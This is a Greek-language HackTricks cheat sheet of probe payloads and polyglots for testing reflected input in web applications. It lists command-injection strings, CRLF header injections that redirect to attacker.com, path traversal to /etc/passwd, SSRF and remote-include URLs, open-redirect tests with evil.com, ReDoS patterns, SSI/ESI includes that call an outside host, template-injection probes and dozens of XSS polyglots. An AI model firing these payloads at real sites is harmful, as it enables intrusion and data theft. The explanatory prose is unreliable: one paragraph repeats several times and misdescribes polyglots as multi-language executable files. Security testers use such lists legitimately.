Reflecting Techniques - PoCs and Polygloths CheatSheet

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Ο στόχος αυτών των PoCs και Polygloths είναι να δώσουν στον ελεγκτή μια γρήγορη περίληψη των ευπαθειών που μπορεί να εκμεταλλευτεί εάν η είσοδός του αντανακλάται κάπως στην απόκριση.

Αυτός ο οδηγός αναφοράς δεν προτείνει μια συνεκτική λίστα δοκιμών για κάθε ευπάθεια, απλώς μερικές βασικές. Εάν ψάχνετε για πιο συνεκτικές δοκιμές, αποκτήστε πρόσβαση σε κάθε προτεινόμενη ευπάθεια.

Δεν θα βρείτε εδώ ευπάθειες που εξαρτώνται από τον τύπο περιεχομένου όπως XXE, καθώς συνήθως θα τις δοκιμάσετε μόνοι σας εάν βρείτε μια αίτηση που αποστέλλει δεδομένα xml. Δεν θα βρείτε επίσης ευπάθειες βάσης δεδομένων εδώ, καθώς ακόμα και αν αντανακλάται κάποιο περιεχόμενο, εξαρτάται σε μεγάλο βαθμό από την τεχνολογία και τη δομή της βάσης δεδομένων πίσω από τον ιστότοπο.

Λίστα Polygloths

{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

Βασικές Δοκιμές

{{7*7}}
[7*7]

Πολύγλωσσοι

Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη κακόβουλου κώδικα. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε περιβάλλοντα ελέγχου ασφαλείας για να εκτελέσουν επιθέσεις ή να εξερευνήσουν τις ευπάθειες ενός συστήματος.

{{7*7}}[7*7]

Βασικές Δοκιμές

;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
`ls`
$(ls)

Πολύγλωσσοι

Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη κακόβουλου κώδικα. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε περιβάλλοντα ελέγχου ασφαλείας για να εκτελέσουν επιθέσεις ή να εξερευνήσουν τις ευπάθειες ενός συστήματος.

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Βασικές Δοκιμές

%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Κρεμασμένοι Σήμανση

Βασικές Δοκιμές

<br><b><h1>THIS IS AND INJECTED TITLE </h1>

Βασικές Δοκιμές

/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php

Βασικές Δοκιμές

www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)

Βασικές Δοκιμές

<details>
  <summary>Περιγραφή</summary>

  Οι βασικές δοκιμές για τον έλεγχο της ευπάθειας του ReDoS περιλαμβάνουν τη χρήση απλών και σύνθετων regular expressions που μπορούν να προκαλέσουν καθυστέρηση ή κολλήματα στην επεξεργασία των δεδομένων.

</details>

#### Απλές Εκφράσεις

```html
<details>
  <summary>Περιγραφή</summary>

  Οι απλές εκφράσεις είναι οι πιο βασικές και απλές μορφές regular expressions. Μπορούν να προκαλέσουν καθυστέρηση ή κολλήματα στην επεξεργασία των δεδομένων, ειδικά όταν χρησιμοποιούνται μεγάλα και πολύπλοκα δεδομένα εισόδου.

</details>

#### Σύνθετες Εκφράσεις

```html
<details>
  <summary>Περιγραφή</summary>

  Οι σύνθετες εκφράσεις είναι πιο πολύπλοκες regular expressions που περιλαμβάνουν πολλαπλά μοτίβα και αναδρομικές κλήσεις. Αυτές οι εκφράσεις μπορούν να προκαλέσουν σοβαρά προβλήματα απόδοσης και να καταλήξουν σε κολλήματα της εφαρμογής.

</details>
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$

Βασικές Δοκιμές

<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Πολύγλωσσοι

Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη κακόβουλου κώδικα. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε περιβάλλοντα ελέγχου ασφαλείας για να εκτελέσουν επιθέσεις ή να εξερευνήσουν τις ευπάθειες ενός συστήματος.

<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Οι ίδιοι έλεγχοι που χρησιμοποιούνται για την Ανακατεύθυνση Ανοικτής Σύνδεσης μπορούν να χρησιμοποιηθούν εδώ.

Βασικοί Έλεγχοι

${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

Πολύγλωσσοι

Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη κακόβουλου κώδικα. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε περιβάλλοντα ελέγχου ασφαλείας για να εκτελέσουν επιθέσεις ή να εξερευνήσουν τις ευπάθειες ενός συστήματος.

{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\

Βασικές Δοκιμές

<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>

Πολύγλωσσοι

Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη της πραγματικής φύσης του αρχείου από τους ανιχνευτές κακόβουλου λογισμικού. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε πολλά σενάρια επιτέθεσης, όπως εκμετάλλευση ευπαθειών σε ιστοσελίδες ή εφαρμογές.

<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>

XSS

Βασικές Δοκιμές

Αναπαραγωγή (Reproduction)

Αυτή η δοκιμή ελέγχει αν ο κώδικας που εισάγετε σε ένα πεδίο εισόδου αναπαράγεται ακριβώς όπως τον εισάγατε. Αν ο κώδικας αναπαραχθεί όπως τον εισάγατε, τότε υπάρχει πιθανότητα για εκτέλεση κώδικα XSS.

<script>alert('XSS')</script>

Ενεργοποίηση (Activation)

Αυτή η δοκιμή ελέγχει αν ο κώδικας που εισάγετε σε ένα πεδίο εισόδου εκτελείται κανονικά. Αν ο κώδικας εκτελείται, τότε υπάρχει πιθανότητα για εκτέλεση κώδικα XSS.

<img src="x" onerror="alert('XSS')">

Ενσωμάτωση (Injection)

Αυτή η δοκιμή ελέγχει αν ο κώδικας που εισάγετε σε ένα πεδίο εισόδου ενσωματώνεται σε μια ετικέτα HTML και εκτελείται. Αν ο κώδικας ενσωματωθεί και εκτελεστεί, τότε υπάρχει πιθανότητα για εκτέλεση κώδικα XSS.

<iframe srcdoc="<script>alert('XSS')</script>"></iframe>

Ενσωμάτωση (Injection) με Εκτέλεση Κώδικα

Αυτή η δοκιμή ελέγχει αν ο κώδικας που εισάγετε σε ένα πεδίο εισόδου ενσωματώνεται σε μια ετικέτα HTML και εκτελείται ως κώδικας. Αν ο κώδικας ενσωματωθεί και εκτελεστεί ως κώδικας, τότε υπάρχει πιθανότητα για εκτέλεση κώδικα XSS.

<svg onload="javascript:alert('XSS')"></svg>

Ενσωμάτωση (Injection) με Εκτέλεση Κώδικα (Πολυγλωσσικό)

Αυτή η δοκιμή ελέγχει αν ο κώδικας που εισάγετε σε ένα πεδίο εισόδου ενσωματώνεται σε μια ετικέτα HTML και εκτελείται ως κώδικας, χρησιμοποιώντας πολυγλωσσικό πολυγλωσσικό κώδικα. Αν ο κώδικας ενσωματωθεί και εκτελεστεί ως κώδικας, τότε υπάρχει πιθανότητα για εκτέλεση κώδικα XSS.

<script>alert('XSS')</script>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()

Πολύγλωσσοι

Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη κακόβουλου κώδικα. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε περιβάλλοντα ελέγχου ασφαλείας για να εκτελέσουν επιθέσεις ή να εξερευνήσουν τις ευπάθειες ενός συστήματος.

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated